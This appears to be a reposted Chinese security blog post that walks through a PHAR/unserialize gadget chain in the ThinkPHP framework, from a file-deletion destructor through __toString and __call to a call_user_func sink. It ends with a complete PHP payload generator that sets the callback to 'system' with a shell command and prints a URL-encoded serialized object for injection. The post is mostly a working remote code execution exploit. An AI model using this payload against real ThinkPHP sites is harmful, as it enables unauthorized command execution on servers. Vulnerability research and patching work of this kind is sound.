三:ThinkPHP中的PHAR反序列化
漏洞挖掘原理利用自动调用的魔术方法,一步一步去寻找调用链,寻找可控点,在unserialize和phar://触发
1.漏洞起点为/pipes/windows.php中的__destruct()中的 $this->removeFiles();
继续跟进它其中存在
if (file_exists($filename)) {
@unlink($filename);
}
,可以想到如果$filename为一个对象的话,而file_exists会将其变成字符串处理,从而触发————toString魔术方法。
2.全局搜索__toString,在Comversion.php中寻找到
public function __toString()
{
return $this->toJson();
}
继续跟进tojson()
public function toJson($options = JSON_UNESCAPED_UNICODE)
{
return json_encode($this->toArray(), $options);
}
跟进toARrray()
if (!empty($this->append)) {
foreach ($this->append as $key => $name) {
if (is_array($name)) {
// 追加关联对象属性
$relation = $this->getRelation($key);
if (!$relation) {
$relation = $this->getAttr($key);
$relation->visible($name);
}
跟进getArray()
public function getAttr($name, &$item = null)
{
try {
$notFound = false;
$value = $this->getData($name);
} catch (InvalidArgumentException $e) {
$notFound = true;
$value = null;
}
跟进getData()
public function getData($name = null)
{
if (is_null($name)) {
return $this->data;
} elseif (array_key_exists($name, $this->data)) {
return $this->data[$name];
} elseif (array_key_exists($name, $this->relation)) {
return $this->relation[$name];
}
最后$relation=$this->data[$name],调用链基本完成,但没有执行点,这时想到$relation->visible($name);如果$relation这个类没有visible($name)这个方法则会调用__call魔术方法,可以尝试。
public function __call($method, $args)
{
if (array_key_exists($method, $this->hook)) {
array_unshift($args, $this);
return call_user_func_array($this->hook[$method], $args);
}
throw new Exception('method not exists:' . static::class . '->' . $method);
}
$this->hook可控,但是array_unshift($args, $this);会在数组前插入新的元素,很难构建payload,既然这个方法无法利用call_user_func_array($this->hook[$method], $args),那为啥不直接用call_user_func_array($this->hook[$method], $args)调用本类存在的方法了。
假设this->hook[‘visible’=>[$this,method]]
那么call_user_func_array($this->hook[$method], $args)就会时
call_user_func_array([$this,method], $args)从而继续进行下去
继续寻找call_user_func()找到
private function filterValue(&$value, $key, $filters)
{
$default = array_pop($filters);
foreach ($filters as $filter) {
if (is_callable($filter)) {
// 调用函数或者方法过滤
$value = call_user_func($filter, $value);
发现$filters参数那么谁在调用filterValue()呢,发现cookie()再继续调用
其中
$filter = $this->getFilter($filter, $default);
跟进getFilter(),发现
$filter = $filter ?: $this->filter;
其中将$filter = (array) $filter;变成了一个数组
最终call_user_func($filter, $value);第一个参数可控,寻找第二个参数$value,
找到input函数,继续寻找谁在调用input,发现params函数在调用而且
return $this->input($this->param, $name, $default, $filter);
其中$this->param可控所以第二个参数值可控
filterValue(&$value, $key, $filters)->
public function input($data = [], $name = '', $default = null, $filter = ''){
$this->filterValue($data, $name, $filter);
}->
public function param($name = '', $default = null, $filter = '')
{ return $this->input($this->param, $name, $default, $filter);}
但如果想进行到这一步$name不能为空因为在input()函数中存在
if (false === $name) {
// 获取原始数据
return $data;
}
所以我们要给$name赋值,最终寻找到isAjax()函数
public function isAjax($ajax = false)
{
$result= $this->param($this->config['var_ajax']) ? true : $result;
return $result;
}
在isAjax
函数中,我们可以控制$this->config['var_ajax']
,$this->config['var_ajax']
可控就意味着param
函数中的$name
可控。param
函数中的$name
可控就意味着input
函数中的$name
可控。
根据调用链尝试构建payload
namespace think;
class Request
{
protected $hook = [];
protected $config = [];
protected $filter;
protected $param = [];
public function __construct(){
$this->filter = 'system'; // 要调用的函数
$this->param = ['ifconfig']; // 要执行的命令
$this->hook = ['visible'=>[$this, 'isAjax']]; // 要在__call中调用的方法
$this->config = ['var_ajax' => '']; // 配置参数,可控点
}
}
abstract class Model{
protected $append = []; // 参考Converstion类的相同定义
private $data = []; // 参数Attribute类的相同定义
function __construct() // 给两个属性赋值
{
$this->append = ['woniu' => ['a']]; // 截止目前append只需要满足不为空,所以任意定义, Conversion 166 行
$this->data = ['woniu' => new Request() ]; // 此处data的定义要绕一些,因为存在多个调用
}
}
namespace think\model;
use think\Model;
class Pivot extends Model {
}
namespace think\process\pipes;
use think\model\Pivot;
class Pipes {}
class Windows extends Pipes{
private $files = ['/opt/lampp/htdocs/security/upload/test.php'];
function __construct() {
$this->files = [new Pivot()];
}
}
$w = new Windows();
echo urlencode(serialize($w));
来源地址:https://blog.csdn.net/kunkun_xiaomeng/article/details/126628961